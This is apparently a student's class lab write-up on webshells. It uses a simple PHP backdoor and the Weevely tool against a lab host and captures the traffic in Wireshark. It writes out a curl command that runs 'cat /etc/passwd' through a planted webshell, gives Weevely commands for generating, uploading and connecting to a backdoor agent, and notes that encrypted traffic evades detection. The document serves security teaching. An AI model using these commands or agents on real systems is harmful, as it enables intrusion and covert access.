Class Activity 8.1 - Weevely
Wireshark Capture of traditional webshell
Target pippin with a traditional websell and capture a dump of /etc/passwd using wireshark on your interface.
start wireshark
Run the following command to get the dump of etc/password
sudo curl http://10.0.5.25:80/upload/simple-backdoor.php?cmd=cat+/etc/passwd
Deliverable 1. Provide a screenshot that shows the relevant TCP stream similar to the one below. Create a capture filter on port 80 when you do so.

The following packet in wireshark is my GET request asking the server to dump the /etc/passwd file

The follwoing packet in wireshark is the HTTP response 200 meaning that the server accepted my request, and sent me back the dump of /etc/passwd

In Line-based text data you should be able to see the dump in the dropdown!

Weevely
Helpful resource: https://github.com/epinna/weevely3/wiki/Getting-Started
Deliverable 2. Investigate weevely (a tool in kali). Create a php agent that is uniquely named, upload the agent to pippin and carry on a session.

Generate Weevely Agent
sudo weevely generate <password> <file.php>


Put the file in the Pippin server
put <file.php>

Start a Session
Use the following command to start a weevley session with the Pippin host
sudo weevely http://10.0.5.25/path/to/file.php <password>
Once you have a successful session, run the following commands:
id
whomai

Wireshark capture of /etc/passwd
Deliverable 3. Show a dump of /etc/passwd on wireshark. Make sure to use a capture filter for port 80.
Capture of Weevely getting the /etc/passwd dump. When we are making the request for this file, the server is sending the information over the network encrypted. Weevley then has a key to decrypt the information and show the user (me) the /etc/passwd dump in the terminal. As the data is traveling over the network encrypted it is much more stealhly and less likly to be detected then if it was in plain text or backdoor commands.

You will notice that there are 2 HTTP 200 OK packets. The first packet is most likely some encrypted communication from the server about how to decrypt the /etc/passwd file. We can't know for sure what it is as its encrypted.

Below is the second HTTP 200 OK packet and we know that this one contains the actual /etc/passwd dump as its much longer then the first one
truncated means that the information is much longer it's just showing a shorter version.

As you see below, running cat/etc/passwd
displays unencrypted to the user!

Last updated